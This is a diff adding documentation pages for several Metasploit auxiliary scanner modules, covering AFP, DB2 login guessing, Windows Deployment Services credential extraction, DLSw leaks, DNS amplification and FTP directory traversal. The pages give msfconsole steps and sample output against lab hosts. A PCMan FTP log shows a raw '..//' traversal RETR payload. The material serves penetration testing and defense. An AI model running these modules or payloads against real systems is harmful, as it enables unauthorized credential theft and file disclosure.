    TIMELORD_RUN=no
    A2BOOT_RUN=no
    ```
+
  3. Restart the service: `sudo /etc/init.d/netatalk restart`

 ## Verification Steps
@@ -22,40 +24,41 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
  1. Install and configure afp (or netatalk in a Linux environment)
  2. Start msfconsole
  3. Do: `auxiliary/scanner/afp/afp_server_info`
-  4. Do: `run`
+  4. Do: `set RHOSTS [ip]`
+  5. Do: `run`

 ## Scenarios

-  A run against the configuration from these docs
+### Ubuntu 16.04 with Netatalk 2.2.5

  ```
-  msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info 
+  msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
  msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
  rhosts => 1.1.1.1
  msf5 auxiliary(scanner/afp/afp_server_info) > run
-  
+
  [*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
  [*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Server Flags: 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Super Client: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  UUIDs: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  UTF8 Server Name: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Open Directory: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Reconnect: false 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Notifications: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  TCP/IP: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Signature: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Messages: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Password Saving Prohibited: false 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Password Changing: false 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Copy File: true 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Machine Type: Netatalk2.2.5 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3 
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Server Flags:
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Super Client: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  UUIDs: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  UTF8 Server Name: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Open Directory: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Reconnect: false
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Notifications: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  TCP/IP: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Signature: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Server Messages: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Password Saving Prohibited: false
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Password Changing: false
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  Copy File: true
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Machine Type: Netatalk2.2.5
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  UAMs: Cleartxt Passwrd, DHX2
  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Server Signature: 975394e16633312406281959287fcbd9
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Server Network Address: 
-  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  1.1.1.1 
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548  Server Network Address:
+  [*] 1.1.1.1:548 - AFP 1.1.1.1:548     *  1.1.1.1
  [*] 1.1.1.1:548 - AFP 1.1.1.1:548   UTF8 Server Name: ubuntu
  [*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed
@@ -0,0 +1,32 @@
+## Vulnerable Application
+
+This module attempts to authenticate against a DB2 instance using username and password combinations indicated by the `USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
+
+More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_auth)
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use auxiliary/scanner/db2/db2_auth`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+###  A run on Kali Linux 2019.3 and DB2 11.5.0.0a
+
+    ```
+    msf > use auxiliary/scanner/db2/db2_auth
+    msf auxiliary/scanner/db2/db2_auth) > show options
+    msf auxiliary/scanner/db2/db2_auth) > set USERNAME db2inst1
+    msf auxiliary/scanner/db2/db2_auth) > set PASSWORD db2pass
+    msf auxiliary(scanner/db2/db2_auth) > set DATABASE testdb
+    msf auxiliary/scanner/db2/db2_auth) > set RHOST 172.17.0.2
+    msf auxiliary/scanner/db2/db2_auth) > run
+      [-] 172.17.0.2:50000      - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2inst1@testdb (Incorrect: )
+      [-] 172.17.0.2:50000      - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:dasusr1@testdb (Incorrect: )
+      [-] 172.17.0.2:50000      - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2fenc1@testdb (Incorrect: )
+      [*] 172.17.0.2:50000      - Login Successful: db2inst1:db2pass
+      [*] 172.17.0.2:50000      - Scanned 1 of 1 hosts (100% complete)
+      [*] Auxiliary module execution completed
+    ```
@@ -0,0 +1,27 @@
+## Vulnerable Application
+
+This module queries a DB2 instance information.
+
+More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_version)
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use auxiliary/scanner/db2/db2_version`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+###  A run on Kali Linux 2019.3 and DB2 11.5.0.0a
+
+  ```
+  msf > use auxiliary/scanner/db2/db2_version
+  msf auxiliary(scanner/db2/db2_version) > show options
+  msf auxiliary(scanner/db2/db2_version) > set DATABASE testdb
+  msf auxiliary(scanner/db2/db2_version) > set RHOSTS 172.17.0.2
+  msf auxiliary(scanner/db2/db2_version) > run
+    [+] 172.17.0.2:50000      - 172.17.0.2:50000 DB2 - Platform: QDB2/LINUXX8664, Version: SQL11050, Instance: db2inst1, Plain-Authentication: OK
+    [*] 172.17.0.2:50000      - Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,41 @@
+## Vulnerable Application
+
+This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
+
+More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/dcerpc/windows_deployment_services) and pull request [PR #1420](https://github.com/rapid7/metasploit-framework/pull/1420).
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use modules/auxiliary/scanner/dcerpc/windows_deployment_services`
+  3. set RHOST [ip]
+  4. Do: `run`
+
+## Scenarios
+
+### A run on Windows Server 2008 R2 X64
+
+  ```
+  msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
+  msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
+  msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
+  msf auxiliary(scanner/dcerpc/windows_deployment_services) > run
+
+    [*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
+    [+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
+    [*] Sending X64 Client Unattend request ...
+    [*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
+    [+] Retrieved wds credentials for X64
+    [*] Sending X86 Client Unattend request ...
+    [*] Sending IA64 Client Unattend request ...
+
+      Windows Deployment Services
+      ===========================
+
+      Architecture  Type  Domain        Username  Password
+      ------------  ----  ------        --------  --------
+      X64           wds   Fabrikam.com  username  my_password
+
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,30 @@
+## Vulnerable Application
+
+Detect UDP services that reply to empty probes.
+
+More information can be found on the [Rapid7 blog page](https://blog.rapid7.com/2014/10/03/adventures-in-empty-udp-scanning/)
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/discovery/empty_udp`
+3. Do: `set RHOSTS [ip]`
+4. Do: `set RPORT [port]`
+5. Do: `run`
+
+## Scenarios
+
+### A run against Windows XP (X64) using Kali Linux 2019.3
+
+  ```
+  msf auxiliary(scanner/dns/dns_amp) > use auxiliary/scanner/discovery/empty_udp
+  msf auxiliary(scanner/discovery/empty_udp) > set RHOSTS 1.1.1.1
+    RHOSTS => 1.1.1.1
+  msf auxiliary(scanner/discovery/empty_udp) > set RPORT 135
+    RPORT => 135
+  msf auxiliary(scanner/discovery/empty_udp) > run
+    [*] Sending 1032 empty probes to 1.1.1.1->1.1.1.1 (1 hosts)
+    [+] Received #52 from #:135:#1095/udp
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,26 @@
+## Vulnerable Application
+
+This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
+3. Do: `set RHOSTS [ip]`
+4. Do: `run`
+
+## Scenarios
+
+### IOS version 12.4(8) and Kali Linux 2019.3
+
+  ```
+  msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
+  msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
+    RHOSTS => 192.168.0.1
+  msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
+    [*] 192.168.0.1:2067      - Checking for DLSw information disclosure (CVE-2014-7992)
+    [+] 192.168.0.1:2067      - Vulnerable to DLSw information disclosure; leaked 72 bytes
+    [*] 192.168.0.1:2067      - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
+    [*] 192.168.0.1:2067      - Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,33 @@
+## Vulnerable Application
+
+This module can be used to discover DNS servers which expose recursive name lookups which can be used in an amplification attack against a third party.
+
+BIND 9.4.1-P1: [source](ftp://ftp.isc.org/isc/bind9/9.4.1-P1/bind-9.4.1-P1.tar.gz)
+Ubuntu 7.10: [Gutsy Gibbon](http://old-releases.ubuntu.com/releases/7.10/)
+
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use modules/auxiliary/scanner/dns/dns_amp`
+  3. Do: `set DOMAINNAME [domain]`
+  4. Do: `set RHOST [ip]`
+  5. Do: `run`
+
+## Scenarios
+
+### A run on Ubuntu 7.10 (Gutsy Gibbon) and BIND 9.4.1-P1
+
+  ```
+  msf > use modules/auxiliary/scanner/dns/dns_amp
+  msf auxiliary(scanner/dns/dns_amp) > set DOMAINNAME domain.com
+    DOMAINNAME => domain.com
+  msf auxiliary(scanner/dns/dns_amp) > set RHOSTS 192.168.10.254
+    RHOSTS => 192.168.10.254
+  msf auxiliary(scanner/dns/dns_amp) > run
+    [*] Sending DNS probes to 192.168.10.254->192.168.10.254 (1 hosts)
+    [*] Sending 70 bytes to each host using the IN ANY domain.com request
+    [+] 192.168.10.254:53 - Response is 374 bytes [5.34x Amplification]
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,29 @@
+## Vulnerable Application
+
+This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
+This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`.
+
+Link to Konica Minolta FTP Utility 1.00 software download [Exploit-DB](https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip)
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use modules/auxiliary/scanner/ftp/konica_ftp_traversal`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+### Konica Minolta FTP Utility 1.00 on Windows 7 (X64)
+
+  ```
+  msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
+  msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
+    RHOSTS => 1.1.1.1
+  set PATH ../../WINDOWS/win.ini
+    PATH => ../../WINDOWS/win.ini
+  msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
+  [+] 1.1.1.1:21      - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
+  [*] 1.1.1.1:21      - Scanned 1 of 1 hosts (100% complete)
+  [*] Auxiliary module execution completed
+  ```
@@ -0,0 +1,52 @@
+## Vulnerable Application
+
+This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
+This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`
+
+Linked to software download [Exploit-DB](https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z)
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use modules/auxiliary/scanner/ftp/pcman_ftp_traversal`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+### PCMan FTP Server 2.0.7 on Windows 7 (X64)
+
+  ```
+  msf > use modules/auxiliary/scanner/ftp/pcman_ftp_traversal
+  msf auxiliary(scanner/ftp/pcman_ftp_traversal) > show options
+  msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set RHOST 1.1.1.1
+    rhost => 1.1.1.1
+  msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set PATH WINDOWS\\win.ini
+    PATH => WINDOWS\win.ini
+  msf auxiliary(scanner/ftp/pcman_ftp_traversal) > run    
+    [+] 192.168.2.252:21      - Stored WINDOWS\win.ini to /root/.msf4/loot/20191120201523_default_1.1.1.1_pcman.ftp.data_069450.ini
+    [*] 192.168.2.252:21      - Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
+
+### Manual Exploitation
+
+  ```
+  2019/11/20 [12:46] (00588) 1.1.1.2> User connecting from 1.1.1.2
+
+  2019/11/20 [12:46] (00588) 1.1.1.2> USER anonymous
+  2019/11/20 [12:46] (00588) Anonymous> 331 User name okay, need password.
+
+  2019/11/20 [12:46] (00588) Anonymous> PASS *****
+  2019/11/20 [12:46] (00588) Anonymous> 230 User logged in
+
+  2019/11/20 [12:46] (00588) Anonymous> PASV
+  2019/11/20 [12:46] (00588) Anonymous> 227 Entering Passive Mode (1.1.1.1,8,1)
+
+  2019/11/20 [12:46] (00588) Anonymous> RETR ..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//WINDOWS\win.ini
+  2019/11/20 [12:46] (00588) Anonymous> 150 File status okay; Open data connection.
+
+  2019/11/20 [12:46] (00588) Anonymous> 226 Data Sent okay.
+
+  2019/11/20 [12:46] (00588) Anonymous> User Disconnected.
+  ```
--- a/Show More
+++ b/Show More
@@ -1 +1 @@
 .6.2
 .6.5